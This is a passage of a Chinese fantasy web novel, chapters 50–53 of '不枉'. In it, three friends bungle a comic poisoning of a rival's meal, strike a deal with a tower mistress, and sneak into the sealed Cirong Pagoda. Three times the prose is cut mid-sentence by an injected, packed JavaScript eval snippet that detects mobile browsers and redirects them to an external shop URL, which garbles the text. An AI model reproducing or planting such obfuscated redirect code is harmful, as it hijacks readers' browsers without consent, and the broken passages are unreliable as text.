不枉(11) 话虽如此,然而事情的真相是,李寒筝已经好几天没有见到段梧声了。 “系统,你说他是不是在躲着我?可是为什么呢?为什么要躲我呢?” 系统正在看书,作为一只热爱学习的系统,它看书时十分认真,闻言不甚认真地回答道:“躲你?有必要吗?看看你的红叶手链好吗?” 不必说,红叶手链还是该死的绿色。 这个不认真但显然出自真心疑问的回答精准地戳中了李寒筝脆弱的小心脏,她有点破防,摁住了系统的书,两颗大眼睛逼视系统的绿豆眼:“我天天花钱给你买书看,你竟然这么说我!” 这种感觉就像眼前陡然亮起了两个大瓦数的白炽灯。 系统:“……” 破防的李寒筝决定化悲痛为食欲,另一天睡醒后就拉着洛意去吃东西了。 然而不出意外的话,就要出意外了。 潮海城虽然很大,但是很可惜,冤家的路总是窄的,她们再一次碰见了袁立洲以及他的随从们。 同样的时间,同样的地点,同样的人。 洛意皮笑肉不笑,每个字像是从牙齿缝里挤出来:“昨天没吃着,看来今天也吃不着了呢。” 她拉着李寒筝转身就走。 一边走一边道:“你不要想太多,这叫做避其锋芒,毕竟这只疯狗太难缠了……” 然而拉了半天,李寒筝一动不动。 她们站在客栈的大堂内,往来的客人很多,她们两个淹在人群中并不显眼,袁立洲难得没有坐雅间,而是坐在二楼的大堂中,时不时一个随从跑过来,在他的耳畔低声耳语,然后袁立洲轻微皱起眉,训斥着什么。 这架势,他们像是在找什么人。 显而易见的是,她们看见了袁立洲,而袁立洲忙着找什么人没有发现她们。 李寒筝眨了下眼睛,压低了声音:“要不然我们也下点药吧?” 洛意拍了下李寒筝的脑袋,扯着她往外走,义正言辞疾声厉色:“想什么呢?我堂堂洛家少家主,怎么可能做这种偷鸡摸狗的事情?要赢也是堂堂正正的赢,怎能学这种阴私手段?” 她把李寒筝拉到了昨日吃饭的酒楼,安置她坐下,点了十多个菜,然后拍了拍她的肩膀:“我去买点别的东西,你且好好坐在这里等菜,不要乱跑。” 洛意嘱咐完,便转身往外走,走出几步,想起李寒筝的叛逆,又倒退回来,伸出食指在李寒筝脑袋上点了几下:“你可一定一定不要乱跑,外面全都是修士,你只是一个凡……” 说到“凡”这个字,洛意卡了好一会,好险将二声说成四声:“饭都吃不明白的呆瓜,懂了吗?” 李寒筝坐在位置上,乖乖点头:“说我是凡人也没关系的。” 洛意哼了一声:“我有自己的想法。” 交待完,洛意放心地走出酒楼,表情一秒切换成阴森,然后带着阴森的笑容转身就进了对面的观海楼,摸进了后厨。 是的,洛意是一个谨慎理智且顾全大局的人。 她方才顾全了大局,现在要谨慎理智地给袁立洲下毒了。 观海楼是谢家名下的产业,也是潮海城中最为出名的酒楼,出名自然是有原因的,不仅是菜样繁多美味、环境优美宜人,更是许多细节上的精益求精。 就比如观海楼内都是由美丽窈窕的侍女上菜,后厨做好菜肴,放入隔间,再由侍女上菜,食客自然觉得赏心悦目。 洛意摸进了隔间,在脑海中回想方才袁立洲所坐方位,确定了序号——甲二。 她找到挂着甲二的桌案,吃了一惊。 足足五十多个菜,袁立洲八辈子没吃过饭吗? 堂堂正正义正言辞光明正大的洛家少家主洛意一步一步朝着甲二走近,挂着邪恶的微笑,发出了桀桀的笑声,从袖口摸出了一包药粉。 不枉她每次看见药铺都要停下来看一看,真是风水轮流转啊,今日,她就要一雪前耻! 李寒筝和袁期两个弱鸡,就乖乖等着她的好消息吧。 洛意展开药包,还未拆完,忽然听见了一道脚步声正在逼近,洛意心下暗骂一声,四下环顾,隔间几乎没有遮挡物,唯有桌案上铺着垂到地面的桌布,可以略微挡一挡。 三分之一秒内洛意做好了决定,掀开桌布,躲进了桌案底下。 与此同时,李寒筝将门推开了一条缝,闪身而入,将门轻轻带上。 虽然洛意嘱咐她不要乱跑,但是她确实没有乱跑,而是有目的地跑到了观海楼的后厨隔间。 她环顾一圈,锁定了挂着甲二序号的案桌,一步一步靠近,嘴角勾出邪恶的微笑,发出了桀桀的笑声,并从袖口摸出了一包药粉。 洛意太正经,袁期太倒霉,那么,就由她承担起下毒的重担了! 李寒筝拆开药包,还未拆完,忽然听见了一道脚步声正在逼近。 李寒筝四下环顾,三分之一秒内做好了决定,掀开了桌布,躲进了桌案底下。 然后和同样躲在了桌案底下的洛意四目相对。 “……” 沉默,是今晚的康桥。 袁期推开了隔间的门,反手将门轻轻带上。 昨日是个意外,谁能想到袁立洲竟然对螃蟹过敏,今天,他就要一雪前耻! 袁期环顾一圈,锁定了序号甲二的桌案,一步一步走进,唇角勾出邪恶的微笑,发出了桀桀的笑声,并从袖中取出了一包药粉。 李寒筝和洛意那两个胆小鬼,就等着他的好消息吧! 他将药包拆开,拆到一半,忽然听见一道脚步声正在逼近。 三分之一秒内,他做出了决定,毫不犹豫地掀开了桌布,闪身躲进了桌案下。 然后和同样躲在了桌案下的李寒筝和洛意六目相对。 “……” 袁期看向两人,用表情传递出话语:你们俩怎么在这? 李寒筝和洛意也看着他:你怎么在这? 语言常常有词不达意的时候,而表情和肢体同样能够传递出很 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17374628|196917||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 多信息。 李寒筝看向洛意,挑眉,目光来回扫视:堂堂正正义正言辞光明正大的洛少家主,你怎么在这里? 洛意扶额,然后怒目而视:不是说好叫你不要乱跑吗?你怎么到这儿来了? 袁期指了指手里的药包,又指了指李寒筝和洛意手里的药包,不屑地瞥了瞥嘴:你们两个呆瓜,又没学过毒医之术,下什么毒? 几秒内,三个人的眉眼官司打的来来回回,此时脚步声终于走到门前,是几个负责上菜的侍女。 “袁公子派人来催,菜好了没有?” “差不多齐了,再叫上几个姐妹一起来上吧。” “点了这么多菜,是请了什么贵客吗?” “应该是吧。” 声音和脚步声渐渐远去,三人从桌案下爬出来,面面相对一眼,达成了共识:先下毒再说。 菜色很多,时间却又很紧,不知道什么时候侍女就要推门而入,一道一道下过去肯定是来不及的,只能选择性地下毒。 脚步声渐远渐近,声音模模糊糊地传过来,炝锅、炒菜、切剁劈砍、煎煮炸蒸、食客把酒言欢、小二拖着尾音招揽顾客,都像是在一个巨大的罐子里摇晃。 李寒筝将药粉抖在党参炖鸡的汤里,用调羹搅开。 轻快繁乱的脚步声从所有声音里鲜明地凸显出来,正在一点一点靠近。 洛意将凉拌海蜇扒拉开,吹了一点毒药进去,额上有汗珠落下。 脚步声近至门前,穿着纱衣的侍女们说说笑笑,粉衣侍女走在最前推开了门,尖叫了一声。 “什么呀怎么了?” 粉衣侍女拍了下自己的脑袋,“我忘记拿手套了。” 一群侍女嘻嘻哈哈地笑开。 没有人注意的窗缝,一截青杏色的裙裾被悄悄收了回去。 * 洛意搂着李寒筝的腰翻上二楼的窗户,拍了拍自己的胸口:“好险,幸好她们没看见我的衣摆。” 三人瘫坐在窗沿下,李寒筝得意地伸出一只手掌,五指伸展凯,“我下了五道菜。” 洛意切了一声:“我下了十道。” 两人看向袁期,袁期矜持地笑了下:“不才,区区二十六道而已。” 三人放下了心,四十一道菜里都下了毒,袁立洲总能吃到的。 “那你们真是太厉害了。”一道清越含笑的声音插进来。 三人齐齐扭头,洛意摁住了腰间的剑,袁期握住了衣襟下的乌木扇。 这是一个寂静的空房间,至少他们以为是,没想到重重叠叠的纱幔隔出一方单独的空间,出声的人就坐在纱幔后,一个劲瘦高挑的身影掀开重重纱幔走近,露出了一张清俊冷淡的脸。 李寒筝挥了挥爪子:“上午好呀,财大人。” 财大人让出一步,将纱幔勾上,露出了坐在纱幔后的人影。 她摇着团扇,一身鎏金长裙委委垂地,笑意盈然:“你们好呀。” 正是镜楼楼主,何殊。 51. 不枉(12) 李寒筝拍拍衣服站起来,蹭着步子走过去套近乎:“何姐姐,你肯定不会揭发我们的,对吧?” 何殊专注地转着团扇,笑着开口:“还有半盏茶的时间。” 洛意皱眉:“什么?” “我方才拒绝了袁少家主的邀约,”何殊慢悠悠道:“袁少家主家大业大,被拒绝了肯定不会不吃饭了,此刻他们应该已经吃起来了。” 尖叫声从二楼翻起来,嘈杂的脚步声和七嘴八舌的交谈声随之蔓延开,像来势汹汹的浪,以极快的速度排山倒海般扑过来。 在一片的嘈杂声中,何殊不动如山,轻笑着道:“就是现在了。” 下一刻,敲门声响起来,随后是袁立洲阴沉的声音:“何楼主,有人对袁家人下毒,你可看见什么行迹可疑的人?” 何殊愉悦地笑了下,轻声道:“啊呀呀,看来你们下毒下了四十一道菜,袁立洲一道也没吃,现在还好好的呢。” 李寒筝:“……” 袁期:“……” 洛意:“……” 这合理吗?袁立洲到底对多少种东西过敏?堂堂一个出身医毒世家的少家主,竟然这么脆皮?这真的合理吗? 许久没听到回答,袁立洲重复了一遍:“何楼主?” “竟有此等事,真是骇人听闻,到底是怎样的狂徒,敢在青天白日的下毒?小友没有受伤吧?”何殊说着话,目光却意味深长地看着李寒筝三人,满含揶揄。 袁立洲道:“在下无恙,只是苦了我的随从,今日这次是我疏忽,可惜那贼人已经跑远,真是嚣张至极。” “哦?”何殊的视线悠悠划过身旁三人,“也不一定跑远,或许还躲在这楼中。” 袁立洲道:“何楼主可有指点?” 李寒筝:“……” 李寒筝看了眼高冷的洛意,和忠贞不屈的袁期,决定牺牲自己的色相,然后吧唧一声抱住何殊的腰,可怜巴巴地眨眼睛。 何殊被逗笑了,团扇挑着李寒筝的下巴,扬声道:“只是随口一说,这贼人定然不至如此愚蠢,小友且小心些。” 袁立洲只客套了几句,诸如下次再请吃饭扫榻以待云云,然后急匆匆地离开了,显见得是气的不轻,急忙调查凶手去了。 何殊懒懒支着下巴:“帮了你们这么大的一个忙,想好怎么感谢我了吗?” 洛意抱着双臂:“楼主应该早就想好了吧?” 李寒筝转过去捏了一把洛意的大腿,呲了下牙,转回去的时候已经声音甜甜:“姐姐人美心善,肯定是见之不忍出手相助吧?” 何殊伸手在李寒筝脸上蹭了把,笑盈盈开口,说出的话却很是无情冰冷:“我确实已经想好了。” 李寒筝:“……” 呜呜呜她的色相这么不值钱的嘛? 李寒筝再次破防,起身欲走,何殊却揽住她的腰,声音甜蜜:“妹妹,姐姐是想和你做一个交易。” 袁期轻轻皱眉,他一直都知道何殊为人以利当先,那么李寒筝身上,有什么是何殊想要图谋的呢? 一秒之后,他想出了答案,冷笑出声:“何楼主的消息真是灵通。” 洛意也意识到了,高冷地扭过头:“不过是下毒,这件事你威胁不了我们,我好歹是洛家少家主,再不济,我还有师兄师姐。” 何殊点了下头:“我自然知晓,因而我说了,这是交易,不是威胁。” 李寒筝低着头,“姐姐知道我想要什么?” “自然,”何殊摇着团扇,微笑道:“你想要进入归墟秘境。” “你能帮我?” 何殊摇了下头:“归墟秘境的进入条件很严苛,没有任何转圜余地,我帮不了你。” “那姐姐的意思是?” “别急,我虽帮不了你,却可以为你指一条明路。” “哦?” 何殊沉默了会,方才开口:“世界上有一种天衍术,叫做钥匙,拥有这个天衍术的人,无门不可开,无阵不可解,天下之大,没有她去不了的地方。” “这是谢序宁的天衍术,”洛意皱眉:“你这是什么意思?用这个天衍术躲过归墟秘境的排查?可是谢序宁已经死了。” “不错,她确实死了。”何殊看向窗外,阳光敛入她的眼睛,晶莹的亮,“但是谢家还藏着她的一截手骨,这一节手骨能够在一定程度上施展天衍术·钥匙。” 洛意一字一句:“你也说了,是在一定程度上,归墟秘境的千层云梯,掉下去就是妄虚海,死路一条,谁敢赌?” “别急,”何殊垂眸转着团扇,声音悠悠:“你知道吗?谢序宁死在七十三岁,她只去过一次归墟秘境,还有一次没有用,这意味着,携带她的手骨以及手骨上的天衍术·钥匙,就能够被归墟秘境自动认做成谢序宁。” 李寒筝左看看右看看,想要说话但有点插不进去,她看见洛意神色凝重地开口:“你怎么确定?” 何殊抬起眼,“你以为谢家为什么要留着谢序宁的一截骨头?再者,你以为天衍术是什么?天衍术是神明的青睐,获得天衍术的人,独得归墟秘境的偏爱。” 这有点超出洛意的知识范畴了,这个方法是否有效尚且不得而知,但这不是最重要的,最重要的是,就算进去了归墟秘境,然后呢? 李寒筝是个凡人,她如何在危机重重险相迭生的归墟秘境活下去? 所有人进入归墟秘境之后,会被随机分配在各个地方,每一次归墟秘境都和上次不同,没有任何规律可寻。 进去了,然后呢? 她怎么活下去? 洛意知道李寒筝很想去归墟秘境,知道她在很努力地学习姑姑的手札,努力和勤奋都是值得赞许的,不管结果如何。因而洛意时常鼓励,但这些都是建立在知道李寒筝不可能上去的前提下。 然而现在这个可能性摆在了眼前。 李寒筝的确是寿命短暂,但是,至少她得长命百岁。 洛意缓慢地攥住了李寒筝的手腕,拉到身后,冷静地开口:“不可能,何楼主,你尽可以告诉袁立洲是我们下了毒,我洛意敢作敢当,但是这个交易,不可能。” 袁期退到洛意身边,同样将李寒筝挡在身后,唰地一声展开乌木扇,似笑非笑。 气氛一下子剑拔弩张起来。 何殊耸了下肩:“别这么紧张嘛,交 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17377646|196917||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 易是得谈出来的,而不是逼出来的,既然你们不愿意,我自然也不会强求。” 她的视线越过袁期和洛意的肩膀,看着李寒筝,轻微地眨了一下。 * 天色黯淡下去,又是一天的日暮。 李寒筝趴在窗台上,从腰封里抽出了一封信。 或许何殊早就料到洛意和袁期不会让她说完,所以就在揽住她腰的同时往她的腰封里塞了一封信。 纤长的手指握着信封,翻来覆去地看。 风从很远的地方呜呜地吹过来,将天光一点一点吹得稀薄,将她两鬓的碎发轻柔地吹至脑后。 李寒筝拆开了信封,里面有一张信并一张折叠起来的地图。 信上只有两句话:谢序宁的手骨就藏在慈融塔,信封内有慈融塔的地图,这是我的诚意。而我所求之物,是谢家老祖给你的承诺。 李寒筝将地图展开,这图一尺见方,并不大,但是很厚重,油皮质地,不易损毁,图上用舒朗的线条描摹着慈融塔的外观,像一张普通的临摩画,并无奇特。 李寒筝在纸上摸了摸,发现指尖触摸的地方会浮现相关地点详细的地图和解释,机关和阵法都标记得一清二楚。 估计上面有某种阵法。 如此看来,这图轻便易拿,兼具详实明晰,是一张很不错的地图。 不过,只有一个问题。 李寒筝撑着下巴问旁边的系统:“这慈融塔不是谢家的吗?为什么何殊会有这么详细的地图?” 系统看了一眼:“你记得传闻里谢序宁假冒了谢家大小姐的身份吗?” “记得呀。” “何殊,就是真正的谢家大小姐,很久以前她和谢序宁是挚友,彼时谢序宁发现了何殊的身份,但是谢序宁没有告诉何殊,而是自己顶替了,很久之后,何殊才发现自己被骗了。” “挚友啊,怎么会走到这一步呢?”李寒筝沉默了会,叹息了一声。 天边是浓烈的火烧云,浓紫叠着橘黄,丹朱掺着暮蓝,全都倒映在李寒筝的眼中,像是时间飞速流逝,沧海桑田,变更千年如走马。 李寒筝戳了下系统的脑袋:“我想去慈融塔偷骨头。” 系统:“……” 系统:“你能不能找个镜子好好照一下自己?” 李寒筝以叹咏调开始感慨:“每一个强者成长的路上,都会遭受许多白眼和歧视,但是强者不会因此而灰心丧气,而是坚定、执着地往下走!” 系统:“……” 系统:“首先,我没有歧视你,其次,慈融塔属于谢家,一定有很多阵法,你觉得你真的能够躲过重重阵法偷到谢序宁的骨头吗?” 李寒筝自信一笑:“我早有准备。” 她从储物囊里掏出了一本书——《阵法入门大全》。 系统有点惊讶:“没想到你已经未雨绸缪到如此地步了,那么,你一定将这本书融会贯通了?” 李寒筝摇了摇头:“不,这是我刚刚买的,我准备现在就开始看。” 系统嘴角抽动了下。 早就知道不应该对李寒筝抱有期待的,意思是这个人打算现学现用吗? 52. 不枉(13) 任何事情都怕一个夜长梦多,李寒筝觉得偷骨头这件事宜早不宜迟,她决定当晚就去偷。 骗子和小偷听起来像是一丘之貉,但是其中的专业壁垒还是很厚的,隔行如隔山,李寒筝以前是个骗子,对于难兄难友——小偷的行当只是略有耳闻,但是万事总得有个开头嘛。 首先,李寒筝换了一件便于行动的窄袖黑衣,然后将头发编成四股蝎尾辫,又在衣襟里塞了用于蒙面的面纱。 然后,李寒筝推开了门。 ……看见了洛意。 长廊中灯影摇晃,洛意靠坐在栏杆上,一条腿垂落,手里端着一个白玉茶杯,闻声转头,上下扫视一眼:“呦,还换了衣服,你这是要去哪?” 她将茶一饮而尽,仿佛饮尽的不只是茶,还有忍不住掐死李寒筝的欲望。 李寒筝尬笑两声,开始摆动手脚扭动关节:“没什么,就活动活动……坐太久了,你知道的。” 洛意撑着下巴盯着她,意味不明地哼了声。 李寒筝一边陪笑,一边倒退着回到房间,然后果断把门合上。 时机,最重要的是时机。 李寒筝立刻转身,奔向窗户,一手推窗一脚已经踩上了窗台。 ……看见了袁期。 别院的建筑都是重檐,窗户下连着檐腰,袁期就躺在连片的瓦上,一腿翘起,瞥来一眼:“你也赏月呢?” 李寒筝:“……” 身后洛意已经推门而入,手肘搭在她的肩膀上,声音幽幽:“真是太巧了,看来今天晚上我们都想要赏月。” 李寒筝道:“其实我想要……” 洛意果断捂住她的嘴:“不,你不想。” 李寒筝便转过头,用那一双湿漉漉的大眼睛看着洛意。 洛意冷着脸:“别给我装可怜,我心如铁石。” 李寒筝将洛意的手扒拉下来,声音有些低:“归墟秘境一百年打开一次,下一次打开的时候,我已经变成白骨了。” 洛意将头扭过去,声音听着又冷又硬:“段师兄和裴师姐亲手把你交到我这里,我不能让你出事。” 李寒筝又看向袁期。 她的眼睛又大又圆,敛着月光的时候,像是平湖倒映秋月。 而现在,平湖上起了蒙蒙的水雾,湖心的月亮变成溶溶的一片碎银。 袁期叹了口气:“你的夫君是段梧声,再加上我们几个,总能找到其他方法的……你不必执着于此。” “可是我想要自己来,或许在未来的某一天,只有我一个人,阿梧不在,你们也不在,我必须得一个人走。” 洛意张嘴想要反驳,可是她转过头,看见李寒筝眼睛里若有似无的悲伤,原本的那些话忽然就说不出来了。 眼前这个嘻嘻哈哈的姑娘,似乎没有过悲伤的时候,永远自信阳光、积极向上,充满着蓬勃而旺盛的生命力。 可是世间所有华美坚固的建筑,都需得有一个坚实稳定的地基。 那么眼前的这个姑娘,她的地基,是什么呢? 洛意忽而想,她看似为她考虑实则独裁的行为,是否在摧毁这个姑娘坚实的地基呢? “而且,”李寒筝突然正正经经地看着洛意,“谢家那么卑鄙那么嚣张,你不想挑战一下慈融塔的防守,然后高傲地说,堂堂谢家不过如此吗?” 洛意:“……” 李寒筝又转向袁期:“裴姐姐要嫁给谢呈了诶,说不定慈融塔里还藏着裴姐姐未来的嫁衣和聘礼,你就不想把那件嫁衣撕碎吗?” 袁期:“……” 其实这是两句玩笑话,洛意和袁期都知道。 世间的许多事,不是想要做就能够做到的,有许多无奈和叹息。 但是,或许在他们真正成长为一个顾全大局的大人前,还有一点儿反叛和勇气。 洛意伸了个懒腰,身形利落地跳上窗台,朝李寒筝伸出手,笑得张扬:“你这样说,看来我是不得不跑一趟了。” 袁期从储物囊中丢出一驾云舟,挑起眉梢:“我珍藏的云舟,怎么样?三刻钟之内,肯定能到慈融塔。” 李寒筝微笑起来,一把抓住洛意的手:“那我们出发吧!” * 云舟根据用处分为不同大小和型号,袁期的这艘云舟看起来就像是湖面上的一叶乌篷船,长大约三米,最宽处大约一米,堪堪坐下三人,一个主驾驶位掌舵,控制方向和速度,两个后座。 如袁期所说,三刻钟之内,他们抵达了慈融塔。 慈融塔是一个有故事的地方。 慈融塔建成之前,这里是一个废弃的矿山,这矿山叫做月松山,盛产墨星石。所谓墨星石,是一种非常优质的阵石,挖掘起来很困难,但是布阵的效用却特别好,因此也特别昂贵。 月松山下的赵家庄世世代代以挖掘墨星石为生,直到一百五十年前,发生了一场矿难,那日几乎整个村的人都进山挖矿,然而却没想到突逢暴雨,大量的碎石和洪流灌入矿道,没有一个人逃出来。 这一场矿难,差不多毁了整个赵家庄。然而天灾毕竟难以预测,四处都是洪水地震,一场矿难并没有引起太多关注。 直到五十年后,月松山有妖邪作祟,谢家派人来查,发现是当年的那场矿难催生了无数冤魂,而月松山多墨星石,本身就是一个大型的阵,冤魂在阵中不得解脱,怨气不断汇聚却无法释放,终于形成了一个杀阵,不断往外扩展,吞噬所有活物。 这一件事影响甚重,如果放任不管,终究酿成大祸,谢家决定建立一座塔,将月松山的杀阵给封起来。 这塔便叫做慈融塔。 按理来说,一个镇压冤魂的塔而已,谢家没道理把它当做藏宝库。 然而,这是有原因的。 第一,因为镇压月松山的冤魂需要大量奇珍异宝,不如干脆当成藏宝库,一为镇压,二为储蓄。 第二,当年建立慈融塔的主管人是谢序宁。 在仙门中,谢序宁是一个令人噤若寒蝉的名字,“序宁”二字意为秩序和安宁,但这个名字却席卷着腥风血雨,像是用寒无海最深处的玄铁淬着刀光剑影和阴谋诡计所锻造而成,前半生煌煌煊赫,后半生四海逃亡,如果谢序宁是一把刀,那么一定是一把断刀。 她十九岁认亲,成为谢家的大小姐,二十三岁平乐棋坊一战成名,三十七岁进入归墟秘境,获得了天衍术·钥匙,六十九岁掌握九重阵,七十岁暗害谢家老祖,失败后叛出谢家四海逃亡,七十三岁坠下问天梯。 没人知道这位鬼才是怎么想的,所有过往和秘密都和她一起从问天梯摔下来,摔进火与暗交织的死亡里,砸出无数流言和遐思。 但毫无疑问的是,谢序宁是个天才。这样的天才死了未免太过可惜,她独创了不少玄妙的阵法,却没有多少能够留存于世,除了慈融塔。 慈融塔花了谢序宁十年光阴,从布阵到竣工,几乎凝结了她巅峰时期所有智慧和心血。 因此也有人说,慈融塔藏着谢序宁的毕生心得。 流言只是流言,难以验证真假。但毫无疑问的是,慈融塔确实藏着不少宝贝,就比如谢序宁身上的一截手骨。 夜色漆黑如墨,像是掉进了一个密闭的小盒子里。月松山和它的名字虽然不能说是完全符合,但至少符合一半,有月但无松,荒凉焦黑一片,只有些枯黄的草和焦黑的枯木瑟瑟摇晃。 时已入秋,夜晚的风中带上了凉意,但这里的风似乎格外的寒冷,席卷荒凉的山野,发出呜呜如鬼哭般的尖啸声,刺耳狰狞。 慈融塔是一座八角形九层楼阁木塔,就矗立在月松山山顶,远远望去,只一个铁冷、陡峭的黑色剪影,如同天柱地轴,巨大飞翘的檐角如同锋利的镰刀,挂着一轮冷玉盘。 每层垂檐,都悬挂着粗长的铁链,尽头处牢牢抓住地面,每层九根,共计八十一根。 袁期小声道:“八十一根锁煞链,大阵仗,这是谢家很出名的阵法,叫做天地笼,意思是——天地为笼,四海难逃,看来谢家对这座塔真的很重视,而且很放心。” 李寒筝充当提问的小白:“为什么?” 洛意将手拢在嘴边,“因为这里的巡卫并不严密,共计三队巡逻,每三刻钟才会有一对巡卫经过慈融塔,差不多只是做个表面活了,证明谢家对自己的阵法很自傲,相信没有人能够进去。” 三人都穿着黑衣,趴在巨石投下的阴影里,仰着脖子头都有些酸了。 但是他们没敢动。 因为一队不属于巡逻的侍卫正在朝着慈融塔而去,他们的穿着不同于巡逻的守卫,巡逻的守卫穿着谢家的弟子服,而这些侍卫们却穿着黑色的甲胄,手持利剑,给人一种冷肃的威压感。 这一队侍卫用车架运送着两人高的铁笼,铁笼外罩着黑色幕布,这样的铁笼,足足有几十个,远远望去,就像一条蜿蜒的黑色巨龙。 凌冽的风中传来妖兽的低吼,声音低低的颤着,拖得很长,像是受伤之后的哀鸣。 洛意皱眉:“听起来像是妖兽,这是要把 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17393769|196917||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 这些妖兽关进慈融塔吗?” “谁知道呢?”李寒筝漫不经心地回了一句,聚精会神地看着一个方向,问道:“这是谁?” 李寒筝看的方向是队伍最前面的人,这人身形高大壮硕,未穿甲胄,穿着一袭灰袍,绷出衣袍底下结实的肌肉,袖口衣襟绣着北斗七星。 袁期眯了眯眼睛:“似乎是谢家的四大执事长老之一,谢岩,这个人很厉害的,传说他最擅长防护的阵法,有‘水泼不进、火烧不穿’的赞誉,竟然是这个人来送,谢家很上心嘛。” 此刻,谢岩领着队伍,走到了慈融塔前,塔门大约由玄铁所铸,在月光下泛着冰冷的色泽,沉重阴寒,给人一种窒息的感觉。 只见谢岩伸出了手,淡蓝色的阵纹在他的掌下浮现,几息之间,他的手指在阵纹的各处轻点一遍,看的人眼花缭乱。 袁期眼珠子跟着转,转的脑袋快要晕了,“完蛋了,我有几步没记住。” 他戳了戳李寒筝,“你呢?” 李寒筝鼓着腮帮子,眼睛快要瞪成河豚,用低沉的声音缓缓开口:“我可以试一下。” 谢岩领着队伍进去,半刻钟之后,他们走了出来,铁门随之合上,他们径直离开了。 又过了半刻钟,天地之间只有鬼哭般的风声,和檐角之上,一轮冷冷的圆月。 洛意半跪在地,分发隐身符和易容符,“都给我好好贴着,每一张的时效是两个时辰,一定要机灵点,别被发现了,我可要脸。” 李寒筝和袁期乖乖点头。 三人贴好隐身符和易容符,顺顺利利地到了慈融塔前,然后打开了何殊给的地图。 李寒筝戳了下图纸上的铁门,浮现一行解释:门上有阵,每半刻钟变化一次,连续错三次,则发出警报。谨慎解阵,祝安。 袁期靠了一声:“那我刚才不是白记了。” “没关系,我有办法。”李寒筝自信一笑:“我最近学了点阵术。” 袁期和洛意对视一眼,都是同样的半疑半喜:“你这么厉害?” 只见李寒筝从衣襟里掏出一本书——《初级阵法入门大全》,然后从第一页开始翻了起来。 洛意看了看光洁如新白白净净的书页,和蔼地摸了摸李寒筝的脑袋:“现学现解呢?真棒,给我滚一边去。” 洛意一秒变脸,把李寒筝推开,站到铁门前,“我学过一点阵法,只能试一下了。” 五大世家虽然所专不同,但是门下弟子并不是只学一种,世家弟子讲究博才,各种道法都会略有涉猎,然后只专精其中一门或者两门。对于门派家族的继承人,更是有私人定制的学习方案。 洛意咬着手指,目不转睛地盯着淡蓝色的阵纹,她为人最不喜拖延,确定了一种思路后就开始解阵,凭借她的聪明机智和博学,果不其然—— 错了。 洛意的脸黑了,看上去下一秒就要掏剑干仗。 袁期咳了一声,将洛意拉开,若有所思地盯着阵法。 洛意的思路其实是很正规的解阵之法,但是却错了,或许…… 他回忆起谢岩解阵的手法,勾起唇角,伸手开始解阵,他相信,凭借他的聪明才智,一定可以—— 错了。 袁期的脸也黑了,看上去下一秒就要掏出乌木扇砸门。 洛意及时拉住袁期,咳了几声:“冷静冷静,还有一次机会,我们好好想一想呢。” 现场唯二两个懂阵法的人开始了讨论,蹲在地上用手指模拟解阵思路。 突然之间,一阵幽冷潮湿的风吹拂而来,两人齐齐扭头。 只见原本闭合得好似一堵墙的铁门,此时打开了一条漆黑的缝。 “……” “?” 门开了? 李寒筝站在一边,手里还拿着那本该死的初级阵法入门大全,一脸喜色,“我打开了耶。” 洛意和袁期神色复杂地站了起来,一个戳了戳李寒筝的脸,一个拽了拽李寒筝的头发,确认这真的就是李寒筝,一时沉默下来。 在场唯一不懂阵法的人把阵给解开了。 这个世界真是奇幻。 两人一人拽住李寒筝的一只手,冷酷地往门内走去,步伐带风,衣袂飘飞。 缓缓合上的铁门内,依稀传来一点声音。 “你们应该夸我。” “你真棒。”冷漠。 “你太厉害了。”依旧冷漠。 “哎呀哎呀,我也会害羞的。”完全听不出害羞。 53. 不枉(14) 门内是漫步边际的黑暗,没有声音,没有路,只是无穷无尽的黑暗。 “唰”地一声,一团橙黄色的光芒亮起来。 洛意两指夹住一张照明符,环视四周。 橙黄色的光漂浮在渊海一般的黑暗里,就像宽广无际的大海里一颗小小的泡泡。 这不太对劲,塔的大小是有限的,为何连墙壁的轮廓都没有? “这不是个塔吗?” 袁期展开乌木扇,声音里带着笑意,身体却紧绷起来,留心周围每一点声音,呈现一种防备的姿态。 李寒筝打开图纸:“看来何老板给的图纸有点问题,至少是有些缺漏。” 洛意吐出一口气:“塔里面另有空间,事已至此,接着往前走吧。” 三人并列往前走,李寒筝站在中间。 走了大约一刻钟,突然出现了一点亮光,他们朝着亮光走去,黑暗于此时像是到了一个临界点,上一步还是无尽黑暗,下一步就踏进了雾气弥漫月光阴森的枯林。 洛意飞速转头,身后那片黑暗消失了,他们就像从一个包裹着黑暗的泡泡里走出来,踏出的那一瞬间,泡泡消失了。 洛意下颚紧绷,举目向前,灰色的雾气遍布目之所及的每一寸空间,月光凉薄,雾中隐隐约约得见一些狰狞的横斜瘦影,不知是枯木,还是别的什么。 毫无疑问的是,慈融塔里藏着另一重空间,毕竟塔内不可能装下一片荒林。 